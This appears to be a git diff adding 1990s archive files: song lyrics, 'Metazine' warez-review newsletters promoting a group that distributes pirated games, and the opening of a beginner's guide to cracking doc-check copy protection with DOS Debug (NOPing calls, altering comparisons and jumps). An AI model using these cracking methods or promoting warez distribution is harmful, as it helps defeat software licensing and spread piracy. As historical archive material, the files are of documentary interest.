nothing else matters. + +Trust I seek and I find in you. +Ev'ry day for us something new. +Open mind for a diff'rent view. +And nothing else matters. + +Never cared for what they say. +Never cared for games they play. +Never cared for what they do. +Never cared for what they know. +Oh, and I know. Yeah, yeah. + +So close, no matter how far. +Couldn't be much more from the heart. +Forever trusting who we are. +No, nothing else matters. + + +OF WOLF AND MAN: + + +Off through the new day's mist I run. +Out from the new daay's mist I have come. +I hunt. Therefore I am. +Harvest the land. +Taking of the fallen lamb. + +Off through the new day's mist I run. +Out from the new day's mist I have come. +We shift. Pulsing with the earth. +Company we keep, roaming the land while you sleep. + + Oh, shape shift + Nose to the wind. + Shape shift + Feeling I've been + Move swift + All senses clean. + Earth's gift + + Back to the meaning of + Life. + +Bright is the moon, high in starlight. +Chill in the air, cold as steel tonight. +We shift, call of the wild. +Fear in your eyes. +It's later than you realized. + + Oh, shape shift + Nose to the wind. + Shape shift + Feeling I've been + Move swift + All senses clean. + Earth's gift + + Back to the meaning of + Life. + + + +Shape shift + +Shape shift + + + + Shape shift, + Nose to the wind. + Shape shift, + Feeling I've ever been + Move swift + All senses clean. + + Back to the meaning + Of wolf and man. Yeah. + + + +THE GOD THAT FAILED: + + +Pride you took, pride you feel, +Pride that you felt when you'd kneel. +Not the word, not the love, +Not what you thought from above. + +It feeds, it grows, +It clouds all that you will know. +Deceit, decieve, +Decide just what you believe. + + I see faith in your eyes. + Never you hear the dicouraging lies. + I hear faith in your cries. + Broken is the promise. Betrayal. + The healing hand held back by the deepened nail. + Follow the god that failed. + +Find your peace, find your say, +Find the smooth road on your way. +Trust you gave, a child to save, +Left you cold and him in grave. + +It feeds, it grows, +It clouds all that you will know. +Deceit, decieve, +Decide just what you belive. + + I see faith in your eyes. + Never you hear the discouraging lies. + I hear faith in your cries. + Broken is the promise. Betrayal. + The healing hand held back by the deepened nail. + Follow the god that failed. + + I see faith on your eyes. + Broken is the promise. Betrayal. + The healing hand held back by the deepend nail. + Follow thw god that failed. + +Pride you took, pride you feel. +Pride that you felt when you'd kneel. +Trust you gave, a child to save. +Left you cold and him in grave. + + I see faith in your eyes. + Never you hear the discouraging cries. + I hear faith in your cries. + Broken is he promise. Betrayal. + The healing hand hald back cy the deepened nail. + Follow the god that failed. + Follow thw god that failed. + +Broken is the promise. Betrayal. Betrayal. Yeah. + + +MY FRIEND OF MISERY: + + +You just stood there screaming, +Fearing no one was listening to you. +They say the empty can rattles the most. +The sound of your own voice must soothe you. +Hearing only what you wanna hear. +And knowing only what you heard. +You. You're smothered in tragedy, +And your out to save the world. + + Misery. + You insist that the weight of the world + Should be on your shoulers. + Misery. + There's much more to life than what you see, + My friend of misery. + +You still stood there screaming, +No one caring about these words you tell. +My friend, before your voice is gone, +One MAN's fun is another's hell. +These times are sent to try men's souls. +But Something's wrong with all you see. +You. You'll take it on all yourself. +Remember, misery loves company. + + Misery. + You insist that the weight of the world + Should be on your shoulders. + Misery. + There's much more to life than what you see, + My friend of misery. + + Misery. + You insist that the weight of the world + Should be on your shoulders. + Misery. + There's much more to life than what you see, + My friend of misery. + +You just stood there screaming. +My fiebd of misery. Yeah. Yeah, yo. + + +THE STRUGGLE WITHIN: + + +Reaching out for sommething you've gotta feel. +You're clutching to what you thought was real. +Kicking at a dead horse pleases you. +No way of showing your grattitude. +So many things you don't wanna do. +What is it, what have you got to lose? +What the hell? +What is it you think your gonna find? +Hypocrite. +Boredom sets into the boring mind. + + Struggle WITHIN + It suits you fine. + Struggle within. + Your ruin. + Struggle within. + you seal your own coffin. + Struggle within. + The struggling within. + +Home is not a home, it becomes a hell. +Turning it into a prison cell. +Advantages are taken, not handed out. +While you struggle inside your hell. +Reaching out. +Grabbing for something you've got to feel. +Closing in. +The pressure upon you is so unreal. + + Struggle within. + It suits you fine. + Struggle within. + Your ruin. + Struggle within. + You seal your own coffin. + Struggle within. + Struggling within. + +Reaching out for something you've got to feel. +While clutching to what you had thought was real. +What the hell? +What is it you think you're gonna find? +Hypocrite. +Boredom sets into the boring mind. + + Struggle within. + It suits you fine. + Struggle within. + Your ruin. + Struggle within. + You seal your own coffin. + Struggle within. + Struggling within. + + + + +cool. 'nuff said. + +Remember, if you have any requests, comments, or criticizms, juse E-mail me +at Virtual Madness (828-5176) or Splattergut on pretty much any other board +in Lubbock. In the mean time, keep rockin', and never let the censorship crew +or anyone else ever get you down. + +===================== +---{Blind Cyclops}--- +===================== + + \ No newline at end of file diff --git a/textfiles.com/magazines/METAZINE.1 b/textfiles.com/magazines/METAZINE.1 new file mode 100644 index 00000000..f7ea9035 --- /dev/null +++ b/textfiles.com/magazines/METAZINE.1 @@ -0,0 +1,15 @@ + +T E X T F I L E S + +

+Metazine: The Warez Review (Unknown) +

+

+ + +
+
Filename +Size +Description of the Textfile
metazine01.txt 4305
 MetaZine Issue #1: The Warez Review and Brief Warez News +
metazine02.txt 21556
 Metazine Issue #2: New Reviews +

There are 2 files for a total of 25,861 bytes.
\ No newline at end of file diff --git a/textfiles.com/magazines/METAZINE/.windex.html b/textfiles.com/magazines/METAZINE/.windex.html new file mode 100644 index 00000000..f83f5b0a --- /dev/null +++ b/textfiles.com/magazines/METAZINE/.windex.html @@ -0,0 +1,15 @@ + +T E X T F I L E S + +

+Metazine: The Warez Review (Unknown) +

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+
Filename +Size +Description of the Textfile
metazine01.txt 4305
 MetaZine Issue #1: The Warez Review and Brief Warez News +
metazine02.txt 21556
 Metazine Issue #2: New Reviews +

There are 2 files for a total of 25,861 bytes.
diff --git a/textfiles.com/magazines/METAZINE/metazine01.txt b/textfiles.com/magazines/METAZINE/metazine01.txt new file mode 100644 index 00000000..c37600f2 --- /dev/null +++ b/textfiles.com/magazines/METAZINE/metazine01.txt @@ -0,0 +1,89 @@ + METAZINE #1 + + Welcome to the premier issue of METAZINE. Here, META members will +review warez, and related stuff. You are probably wondering what the hell +META is. META is a group of people that get warez from the internet. META +is NOT a group like RAZOR. META takes ALL the big groups warez, and +distribute them among the BBS community, to boards that are not ULTRA secret. +So, if you are on a better than average board, you can probably find our stuff. +You don't have to be on like, the CoCoNut Testing Grounds, to get our stuff. +We also make DOCs for games. I(Lord 13) just made Magic Carpet ANSI docs. +These docs are WAY better than the other MC docs. They are in ANSI, so you +can see what spell I am talking about. Very useful. Look for more docs in +the future(ansi and normal). BTW - don't expect docs for shitty warez! OK, +enjoy the first issue. + +Contents: + The Warez Review + Brief Warez News + Coming Soon + Tidbit News + + The Warez Review + + Magic Carpet by BULLFROG, is the most awesome game I have played +since DOOM1! You are basically a wizard on a magic carpet, and you compete +with other wizards for these mana ball things. You get mana balls by killing +the plethora of beasts(there's ALOT of them). The beasts are just too cool! +All have there own sounds(like the monsters in Doom). AWESOME sounds, and +music. But the thing you will really be shocked at is the graphics. THE +BEST FLIGHT SIM GRAPHICS EVER! With such effects as fog, shadows, relections +(awesome), and many others. And, wait till you see the water. It moves! +It's very wavey. The game terrain looks like you were thrown into a +fractual generated world! And it moves SMOOTH(at least on my 486DX2-66). +Pentium users are in for a mind-blowing experience. And get this: the game +was taken from a CD!!! And it has EVERYTHING!!! 69 levels of non-stop +action. You must get this is you even just like action games. You won't +wanna miss this. Be sure to get the META-ANSi docs! + +10/10 + + CyClones by SSi(programmed by Raven software), is a Doom-clone game. +It has some neat features. Like, you can run UNDER and OVER sectors. Can't +do that in Doom. The engine isn't as smooth as Doom, but it's still very +good. Use the mouse to aim your weapons. This is the cool part. You can +actually aim your weapon WHERE you want, for pinpoint accuracy. The game +sports AWESOME sounds, but only OK music. Get this is you want a new Doom- +like game, and Heretic and Triad aren't out...yet. + +7/10 + + + Brief Warez News + + DEFENDER OF THE EMPIRE, TIE Fighter add-on missions, are finally out! +Mutany has struck the Empire! Defend the Empires factorys from take-over. +Look for a review soon... + + HERETIC, and RISE OF THE TRIAD have not been released yet. They are +a bit late. Rumor has it that the groups are waiting till Xmas to release +Heretic, but I don't think they would really wait. Although, we should see +both of these ANY day now. + + + Coming Soon + +Here are some warez you should be seeing ANYTIME: + + Hammer of the Gods by New World + Heretic by id/Raven + Heroes of M & M by New World + Rise of the Triad by Apogee + + Heretic + + News Tidbits + +In BULLFROG news... + Syndicate 2, the sequel that everyone is waiting for, will +use the MAGIC CARPET engine. You will be able to pick your own camera view! +You will also be able to go into buildings with your asasians. Very cool. + +In LUCASARTS news... + Dark Forces, the game that uses a engine TOTALLY different +from Doom's(don't believe those lamers that say LA stoles id's baby). WILL +have modem play, but to be released in a patch soon after the game's release. +The game itself will feature sector on top of sector action, unlike Doom. +It will include music from the Star Wars movies, and cut scenes. January. + + diff --git a/textfiles.com/magazines/METAZINE/metazine02.txt b/textfiles.com/magazines/METAZINE/metazine02.txt new file mode 100644 index 00000000..b48cc397 --- /dev/null +++ b/textfiles.com/magazines/METAZINE/metazine02.txt @@ -0,0 +1,411 @@ + + + + ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + ÄÄÄ ßÛÜ ÜÛß ßÛßßßßÛ ÛßßÛßßÛ ÜÛßßßÛÜ ÛßßßßßÛ ÛßßÛßßÛ ÛÜ ÄÄ ßÛ ßÛßßßßÛ ÄÄÄ + ÄÄÄÄ Û Û Û Ä Û Ü ÄÄÄÄ Û ÄÄ Û ÄÄÄ Û ÄÄÄ Üß ÄÄÄ Û ÄÄ Û ßÜ Ä Û Û Ü ÄÄÄÄÄ + ÄÄÄÄ Û Ä Û Ä ÛßßÛ ÄÄÄÄ Û ÄÄ ÛßßßßßÛ Ä Üß ÄÄÄÄÄ Û ÄÄ Û Ä ßÜ Û ÛßßÛ ÄÄÄÄÄ + ÄÄÄ ÜÛÜ ÜÛÜ ÜÛÜÜÜÜÛ ÛÜÛÜÛ ÛÜ Ä ÜÛ ÜÛÜÜÜÜÛ ÛÜÜÛÜÜÛ ÛÜ ÄÄ ßÛ ÜÛÜÜÜÜÛ ÄÄÄ + ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + + þissue #2þ + + + + + °°±±±²²²²Preface²²²²±±±°° + + +Metamorphisis (met.a.mawr'.fa.sis) n. A change in form or structure; + evolution. + + MeTaMorPHiSis is a group started by a small group of individuals +who saw it nessesary to change the silly power structures in our BBS +neighborhood. With the world opening up and data flow through nets becomeing +increasingly common, why do we need the exclusive 'elite attitude minded' +boards? These boards and their sysops have segragated the 'warez scene' for +quite sometime. But we at META are going to change all that, we will force +evolution in our our, however small, way. We are looking for medium to large +established boards to upload 0-3 day warez, that is it. MeTaMorPHiSis just +simply askes that if you get a META ware couriored by our group, pass it on +to someone or a board that doesnt have ready access to that current of +pirated software. Our couriors are asked to work and communicate closely +with our distribution site sysops to maintain our no 'arrogent elite +attitude' policy. We will continually provide very current and new pirated +software directly from our suppliers on the Internet in exchange for you +passing the word and warez on about META. With that I present our very own +newsletter, the METAzine issue #2. + +THE MASK +-Senior Staff + + Dark Forces PREVIEW + + Dark Forces by LucasArts, WILL blow all the other 3-D games away. +I can say this, after playing the playable demo. The engine is smoother, +and at a higher res than DOOM!!! Hard to beleive, but it's true. Also, +you can sector on top of sector, unlike Doom. Also, you can look WAY up, +or WAY down(a feature now in some other games). NOtice how all the doors +in Doom open vertically? Well, in DF, the can open horizantally. There +are even doors that are like wrap-around doors. Very awesome indeed. +The floor/wall/ceiling textures are non-reptitive too. The graphics of +the sprites are very well-done. Stormtroopers and the other guys are nicely +animated, and they shout things to you in PERFECT voice, like "hold it right +there rebel scum!", or "there he is. Get him!". The music is 100% Star Wars. +It's non-reptitive, just like the textures. Also, LA thru in some textured +polygon ships, that BLOW away the ones in TIE Fighter! I could go on, and on +about all the details. And this is only after playing the first level! Get +it when you see it. + + -Lord 13 + + Rise of the Triad Special look + + I got mixed feelings about Apogee's Rise of the Triad(shareware version +- although I am sure it'll be the same with the reg. version). This game +is a 90 degree hell. Don't expect rounded walls, or REAL stairs. You get +round discs for stairs, which are sprites. They look cool, but for stairs +it's pretty lame. Sometimes there's a moving disc you can get on. And this +is the silliest feature yet I think - there are trampolines, so there's alot +of jumping. Great! A 3-D Super Mario Bros with guns, and overdone gore! +The gore is kinda cool. When you blow a guy away with a rocket, it's guts, +and eyeballs go everywhere. Sorta neat. Your foes though, are just boring. +Who likes killing humans nowadays(unless it's another player)? I like +making Cacodemons cry in pain. I like splattering those red demons in Heretic. +What's with this Triad gang crap? Also, the game doesn't have TRUE multi-level +worlds. You get these sprite floors to jump up on. Cool. The game is OK, +but with Heretic and Descent as competition, it's already over. This game +has so much bark, so little bite. Also, have you seen all the codes for this +game yet? There's a TON. It seems they spent more time on codes, than on +the actuall game. Well, let's hope 3-D Realms does better. + + - Lord 13 + + + 3D studio 4 (YES!!) + + +There are many new features included in this release. A few of which include +Inverse Kinematics, a new camera prevue control, projector spotlights, and a +whole slew(yes I just did say slew) of cool new toys. + +For many years you could only find Inverse Kinematics (IK for short) in higher +end animation packages running on Silicon Graphics machines. What IK allows +you to do is define a joint where two objects meet, set the limits of what +the joints can do before moving up the hierarchaly linked chain. For example +in all the previous releases of 3ds when you wanted to move an arm, you would +have to grab and rotate the shoulder(the rest of the arm would still be +straight) grab the upper arm, move it, grab the forearm, move it, grab the +hand, move it. A real pain in thee butt! Now with R4 you can simply grab the +hand and put it in the desired spot and the rest of the arm(even the torso +depending on how far behind the body you move the hand) will position itself +naturally according to the joint parameters. Makes things a whole lot easier. + +Another handy new feature Autodesk has included is a camera prevue in the 3d +editor and in the keyframer. This speeds things up considerably when trying +to see how something is going to look once rendered. You activate the prevue +feature by selecting the camera viewport(if one is active) and go to the pull +down menu and select prevue(yeah I know I'm spelling it wrong but that's how +it's spelled in the program) and viola! you'll have a rendered image in the +viewport. BUT WAIT THERE"S MORE!!!! you can now take the camera and move it +around and get nearly a realtime response! the camera can rotate around the +model and you'll see every angle rendered. No more of dealing with those long +rendering waits only to find your geometry is flawed! This can also be done +in the keyframer activating it the same way. You can get a preview of the +flic you're working on with nearly no wait. This helps to avoid object collis +ion or jerky movements or any problems you might run into. This thing is +GREAT!!!! + +The final feature that will be discussed is the projector spotlights. With +these you can finally "fake" a raytraced image. For example shining light +through a stained glass window, it's a bit more complex than this but I'll +give you a basic rundown. First a window would be made, you would select an +image to map onto the pane of glass, create a projector spotlight and pick +the map you used for the pane of glass as the image for the light to project. +Be sure to exclude the frame of the window from the spotlight or else it'll +look kind of funky. + +3D studio has always been the leader in animation on the Pc platform. So far +95 promises to be great year for 3d studio with even more companies developing +Ipas routines and plug-ins. Companies like Xaos tools, Kai's power tools and +a whole host of others! In the next issue we'll be taking a look at some of +these routines and how they can be used. Hmm perhaps we should have a little +"how to" section? lat3r d00ds thanx for reading! + + /\/\ + \ /orpheus + + + + The Best of and Worst of '94 + + Here's a look at the best and worst warez of '94, as compiled by +Area 51 voting. Sorry if there's not alot of catagories. + + The Best Game of '94 + + The best game of '94 is id Software's Doom 2. By mid-summer, every +pirate was waiting impatiently for it. Everyone was thinking we'd see it +in like late September. It was a BIG surprise when we were all playing it +by Aug. 31st! While not really a new game, Doom 2 gave more of what people +liked, with new monsters, and a cool double-barrel shotgun. + +Runner-up: TIE Fighter and Magic Carpet(a tie) + + The Best Flight Sim of '94 + + Flight sims are getting very good as of late, pushing your CPU to +work harder than ever. TIE Fighter was the best though. Even though, it's +not a true flight sim. It wasn't even close in this catagory. + +Runner-up: 1942: Pacific Air War + + The Best Strategy Game of '94 + + There were a TON of great games like this. Many from MircoProse, like +the co-winner, X-Com. The other co-winner is Warcraft. This coulda been a +3 way tie... + +Runner-up: Master of Magic + + The Most Overhyped Game of '94 + + This is very weird. The best game of the year, is also the most +hyped game! Some people thought that there should have been alot more to +Doom 2. + +Runner-up: Rise of the Triad + + The Worst Game of '94 + + Operation Bodycount wins this award, easily. This game, with it's +Wolf 3-D engine, was a sure winner in this catagory. Capstone made it, and +you gotta wonder if they have ever played or heard of Doom. + +Runner-up: Battle Bugs + + + °°±±±²²²²The Warez Review²²²²±±±°° + + + + Descent (shareware version) + + Well the first thing was the Interplay logo.. WOW.. Big fat +harry deal.. Then came the title screen.. Nothing really worth +mentioning.. but the Music that it was accompanied by was +actually quite good.. Not that Annoying MIDI in the .WAD files +you get for DOOM.. It was pretty nice music.. SO I was thinking +at this point Maybe I found a game at least equal to DOOM.. Well +I proceeded to not do anything but hit NEW GAME.. (I did see a +multiplayer option so that was a plus for me right there) It +popped me into a cinema sceen where I was sitting across a desk +from some guy in the shadows.. (This was kinda wierd) and I was +briefed on my mission.. (Okay not a big deal but I felt it worth +mentioning) Then I was pretty much tossed into the shit pile.. +Now.. Not looking at any documentation I was a little confused on +the controls to say the least but after a few moments I managed +to gain control.. Now this is when the game really showed +itself.. I was basically flying a spacecraft into a mine that was +infested with war machines that fly.. Hmm.. THink of flying a F- +16 thru a cave setup blasting enemies.. If you have ever played +or seen Sewer Shark on Sega CD.. THat close but you have total +control not that annoying fuck GHOST in the back.. SO before I +got to far I pulled out and configured my Joystick and the +keyboard and restarted.. Now being a Flight Simulator Veteran for +many years the steering came real easy to me.. I basically +started strolling around the mine to see what I could find.. Not +when the first few enemies popped up I noticed something.. They +were actually 3-d objects.. Not a series of Sprites like +DOOM/WOLF3d/ROTT/HERETIC are.. Full three dimensional Objects to +blast.. (Not new to Flight sims but to games like this YES) Now +after testing out my Laser Cannon and Concusion Missle.. I was +pretty impressed with the Enemies Artificial Intelligents.. They +appear to have multiple personalities for them. Some when you +shoot will just sit there and take it a little and toos there own +back at you.. other will hide behind walls pop out and fire.. +Others upon seeing you will setup a ambush when you enter another +corridor.. THat was impressive.. But then I started chasing them +around and found the levels to be Fully three dimensional.. What +I mean by this is you can be on on top of another section . plus +the hallways didn't always go left or right.. THey curved up +gradually straight down etc.. SO I hit the TAB key to see a fully +3d picture of the level like Autocad would come up with that you +could spin on the three main accesses.. This was cool.. I drove +to a door opened it then had to proceed down for a ways into a +huge open area filled with nasties.. GOD was this cool.. Using +skills fine tuned in Falcon 3.0 Dog Fighting.. I found my self +quite well versed in the combat of the game.. But I made one bad +decision.. Jumping into 20 to 1 odds isn't real smart.. As I +reappeared after been given a good pasting by those things.. I +was even more determined.. I decided to go about it a different +way.. THis time I faired better.. But remember when I said they +would set up an ambush.. well it worked.. Well I quit out and +said, lets read the docs.. (Yes they do help.. Play first then +read them in my opinion) + + Well.. The Game is a full 6 axis engine that no other +company I know of has... Id is planning one in Quake.. Apogee I +don't know what projects along those lines they have coming up.. +Possibly 3d Realms will put something out similar but I don't +know of one officially.. The game play was fast and furious at +the hardest Skill level (Of course) but its also quite nice at +the lower skills for the rookies.. The Docs are Okay.. but for a +game like this they can only tell you the tools.. Its your job to +figure out how to use them.. Graphics were quite good.. Hmm.. I +would campare it to DOOM but the graphics are on a finer scale +then anything released by iD or Apogee.. Think of the Cinematic +screen of Start Trek.. Music was quite good throughout the game +but I turned it down a little so I could here the nasties +coming.. The game is pretty easy to learn how to use and do well +but actually getting good at it.. Thats a different story.. You +can beat the level but playing a human opponent is really +interesting to say the least.. The Shareware is about 3 meg in +Length and can be grabbed at the Meta sites.. All in all it was a +excellent game experience.. I can't wait till later to go after +them again.. 8/10. + + - Soul Master + + Heretic (Registered version) + + Heretic was made by Raven software, for id Software. It uses a slightly +modified Doom engine. This revamped engine sports true transperancies, and +a cool look up/down feature, which is really helpful. Some other cool features +are when you run in the water, it looks like your in it, rather than on it +like in Doom. A cool splash sound accompanies this. Also, when you run on +lava, flames come up. What is really cool is to shoot a flying creature over +the water or lava. ALL the sounds in this game rock. The tunes are ALOT +better than the ones in Doom. Each tune is long, and varied. The new +textures are also very colorful. Some monsters you'll face are flying demons +(that shoot fireballs in the later levels), mummy guys(which can shoot flaming +skulls), flying sorcerers(that can go invisible), skeleton knights(shoots magic +axes), and some other ones. The levels look nicer than Doom's and +are long and alot more enjoyable than Dooms. But, deathmatch in this game +is a true blast. With the morph ovum, you can change the other guy(or the +monsters) into a chicken! Then they'll have to use their beak! Really quite +funny. You can also get the batwings, which will make you fly, or the power- +tome, which will double your weapons effectiveness - AWESOME! And you can store +these in your inventory for when you really need them. HIt [ or ] to bring +up your little inventory box, and use [ and ] to select what you want, then hit +enter to ready it, then enter a last time to use it. This is a very good game, +that Doom fans shouldn't miss. But, this is actually better than Doom. Don't +listen to those saying it the same thing. 9/10. + + - Lord 13 + + + °°±±±²²²²Warez News²²²²±±±°° + + +In MICROPROSE news... + MicroProse, the maker of the BEST strategy games, such as +Master of Magic, X-Com, Master of Orion, Colonization, Civalization, etc, +etc, has announced that they are working on MASTER OF ORION DELUXE! This +version is shaping up to be much more than a souped-up MOO. Elements of the +game will be much deeper. And the best part, modem/network play!!! Finnally! +As of now, this will be a CD-only product. Destined to be a winner. Also, +the sequel to the best strategy game of '94, X-Com, is nearly completion! +It will be called, X-COM: TERROR FROM THE DEEP. It seems that aliens are in +the oceans. All new aliens, and the ability to mutate your own will be +features in this awesome sequel. + +In BULLFROG news... + Dungeon Keep, a new game from BF, will use a enhanced version +of the Magic Carpet engine. That's all that's known about it as of now. +Sounds like a winner already. + +In APOGEE news... + Apogee(apology?) has recently announced they have a new sub +company - 3-D Realms. Apogee(gay name) said that it's time for a co. +dedicated to 3-D games. I wonder if they have ever heard of id software? +At any rate, they will release RUINS(built around Doom engine...aliens and +pyramids), Blood(same, but in a Stephan King setting...satanic), +Shadow Warrior(virtua fighter type thing....like Quake?...maybe..), and +Duke Nukem 3-D(another Doom rip-off). Maybe they will get the modem play +thing down...they really F^CKED up with ROTT's modem play. Lamers... + +In ID news... + According to id, Quake won't be running in a DOS enviroment +until several months. Right now it's running in NextStep, the OS of the +discontinued Next PC. We should see Quake in SOME form in the Spring. + + + + + + + +Warez schedule: + + + ROTT reg. anytime + + Descent reg. " + + Dark Forces feb/mar + + + + °°±±±²²²²META Fan/Hatemail²²²²±±±°° + + + This section is where we'll print letters we have gotten concerning +META. We'll print them all, good and bad. Here's the first one. I think its +a good one to start it off with too. As this person had no clue as to what +I was talking about. He thought that I said we SELL subcriptions! + + + (continued) + +L1> +L1> Do you use the internet? If so, then this could very well happen. Email +L1> the mask about it. He's the boss of Meta. +L1> +LO> Oh, and I forgot.. Being a site for you doesn't mean that I call up the exa +LO> same place the mask gets the files offa the internet and download them for +LO> myself.. I already do that.. being a part of your groups means that you fin +LO> some way to courier them to me, and then I spread them to people around the +LO> area, Meta gets known in another place, and some other people pick it up, a +LO> starts spreading +L1> I know what it means...we would cart them to you thru the internet...it's +L1> quick, and FREE with your subscription... +L1> +LO> Excuse me?.. Subscription?!... Forget the entire thing if you think you are +LO> going to charge me to be a distro site for you... that is one of the MAJOR +LO> reasons why the elite scene has gone downhill over the years, and I don't +LO> think I am going to contribute to it in that way.. plus I have better thing +LO> to spend money on then being a distro site for some group + +Read what I said more closely...Subcription to the Internet....we don't +charge a thing. Forget it if your gonna get smart. + + Lord 13 + +editor: this guy thought he'd tell us how to run stuff, then went off the +handle. We don't charge SHIT for a board to be a site. Never will. + +There was more mail, but I didn't capture it in time, so it got deleted. More +next month. If you got ANY questions/commments/threats/bribes/propositions, +contact me, Lord 13, or The Mask, at Area 51. + + þMETA Boardsþ + +ßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜ +ßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜ +ßÜßÜBoard name Sysop BBS Software META-type NumberßÜßÜ +ßÜßÜ ßÜßÜ +ßÜßÜArea 51 Lord 13 Renegade WHQ 1-313-454-0717ßÜßÜ +ßÜßÜ ßÜßÜ +ßÜßÜThe Abyss Big Brother Renegade Member 1-313-981-7917ßÜßÜ +ßÜßÜ ßÜßÜ +ßÜßÜFade 2 Black Kreiger Oblivion/2 Site 1-810-348-9405ßÜßÜ +ßÜßÜ ßÜßÜ +ßÜßÜDigital Dreamland Quazar Renegade Site 1-313-721-7028ßÜßÜ +ßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜ +ßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜßÜ + + + If you thought you were a site, and you are not on here, that means +something got messed up. Contact a senoir member to see what's going on. + diff --git a/textfiles.com/magazines/MHPC.1 b/textfiles.com/magazines/MHPC.1 new file mode 100644 index 00000000..4359f1ac --- /dev/null +++ b/textfiles.com/magazines/MHPC.1 @@ -0,0 +1,20 @@ + +T E X T F I L E S + +

Electronic Magazines: Midnight Hackers' Private Club

+

+This weak collection of Crack instructions could have used a little extra time +in the hopper. I tried to find a more complete set, but I think this is all +we're going to be blessed with. Mediocre. +

+ + + + +
+
Filename
Size
Description of the Textfile
mhpcnws1.phk 20193
 Midnights Hackers Private Club #1 +
mhpcnws2.phk 19997
 Midnights Hackers Private Club #2 +
mhpcnws5.phk 16027
 Midnights Hackers Private Club #5 +

There are 3 files for a total of 56,217 bytes.

+ + diff --git a/textfiles.com/magazines/MHPC/.windex.html b/textfiles.com/magazines/MHPC/.windex.html new file mode 100644 index 00000000..58030b16 --- /dev/null +++ b/textfiles.com/magazines/MHPC/.windex.html @@ -0,0 +1,20 @@ + +T E X T F I L E S + +

Electronic Magazines: Midnight Hackers' Private Club

+

+This weak collection of Crack instructions could have used a little extra time +in the hopper. I tried to find a more complete set, but I think this is all +we're going to be blessed with. Mediocre. +

+ + + + +
+
Filename
Size
Description of the Textfile
mhpcnws1.phk 20193
 Midnights Hackers Private Club #1 +
mhpcnws2.phk 19997
 Midnights Hackers Private Club #2 +
mhpcnws5.phk 16027
 Midnights Hackers Private Club #5 +

There are 3 files for a total of 56,217 bytes.

+ + diff --git a/textfiles.com/magazines/MHPC/mhpcnws1.phk b/textfiles.com/magazines/MHPC/mhpcnws1.phk new file mode 100644 index 00000000..b3b73293 --- /dev/null +++ b/textfiles.com/magazines/MHPC/mhpcnws1.phk @@ -0,0 +1,427 @@ + Midnights Hackers Private Club + + Where members or hackers gourps come to exchange ideas, and show + off skills. + + **** A Cracking Guide For Beginners **** + + An Article By: + + The Psychopath + + TABLE OF CONTENTS + ------------------- + + I. Introduction and Overview + II. Cracking Doc Checks + A) General Info + B) A Cracking Tutorial + III. Cracking Disk Checks + IV. Cracking with Overlays + V. Closing Remarks + +-------------------------------------------------------------------------------- +Introduction: + + This article is to provide help and give a basic understanding of cracking +for those that just plain don't understand it. A lot of you have heard about +ways of cracking and have gone of on your own into the unknown to try to crack +your first program. And undoubtedly you failed, unless you had guidance and +help from someone more experienced then yourself. Well, I know how rough it +is to learn how to crack, 'cause I've been there myself. It takes a lot of +time, work, and patience to become proficient at the art. So those wishing to +make a leap up in society to the status of a cracker, please read on. + + Some of the most useful tools to a crackist are: + DOS Debug + Quaid Analyzer + Turbo Debugger + Locksmith + Step-13/Trap-13/PC-Watch + Soft Ice + + Acquire any and all that you can. You'll want and need them. I'm only +going to discuss DOS Debug (Turbo Debugger is quite similar) and Step-13/Trap-13 +The others you'll have to experiment with on your own. + + Here's a basic list of Debug commands: + +Command Function +------------------------------------------ +*A [address] Assemble + C range address Compare + D [range] Dump + E address [list] Edit + F range list Fill +*G [=address [address..]] Go + H value value Hex + I value Input + L [address [drive:record record] Load + M range address Move + N filename [filename] Name + O value byte Output +*P [=address][value] Proceed +*Q Quit +*R [register-name] Register +*S range list Search +*T [=address][value] Trace +*U [range] Unassemble +*W [address [drive:record record] Write + + [* Indicates the only ones you need worry about for now. They are the main + commands that you use). Basically, you will enter the letter command and then + return (). Addresses only need to be specified based on necessity. (for + example, you could just enter G and it would execute. Specifying an address + would set a break point. (run the program up to that address). For P and T, + just enter the letter name and . It's quicker.] + + Further explanation of the commands is provided in your DOS users manual. +Read it for yourself. +*** Note that not all forms of copy protection, nor their ways of removal are +discussed in this news letter **** +-------------------------------------------------------------------------------- +Cracking Doc Checks: + + Okay, one of the most common forms of copy protection is the doc check. +This is where you are asked to input information from the documentation that +is included with the software purchased. I will discuss a few methods of +removing this protection scheme, and then will provide you with a sample +crack. + + Doc checks are usually at the beginning of the software, with a few +exceptions (some being in the middle or at the end). They range in variety +from simple text questions, to having graphic and mouse interfacing. They, of +course, range in difficulty from Insulting (easy) to Mind Boggling (hard). + It's best to start with the easy ones, because you don't want to get in +over your head, and remember that experience is the best teacher. + + Doc checks are executed by CALL statements, and sometimes a series of +CALL statements. When proceeding through a program in DEBUG, you will hit +a CALL statement that will execute the program. Remember what the address was +for it, 'cause you'll have to exit out of the game and go back to where it +took control from you. If the CALL statement runs the doc check then takes +you back to DEBUG, then you're allright, and can start changing it +there. If not, then you will have to trace (T option) through the CALL +statement down to the next layer of program. Now you will proceed again, until +you get to a call statement that executes the copy protection then returns +you to DEBUG. + + There are three basic ways to remove the Doc check: + 1) Remove the CALL statement. + a) By the NOP command. + b) By jumping from the first byte to the last. + 2) By changing the comparisons. + a) By changing the CMPs to compare registers to themselves. + b) By changing the jump statements that follow. + 3) By Jumping around the Doc check to get to the part of the program + that loads in the 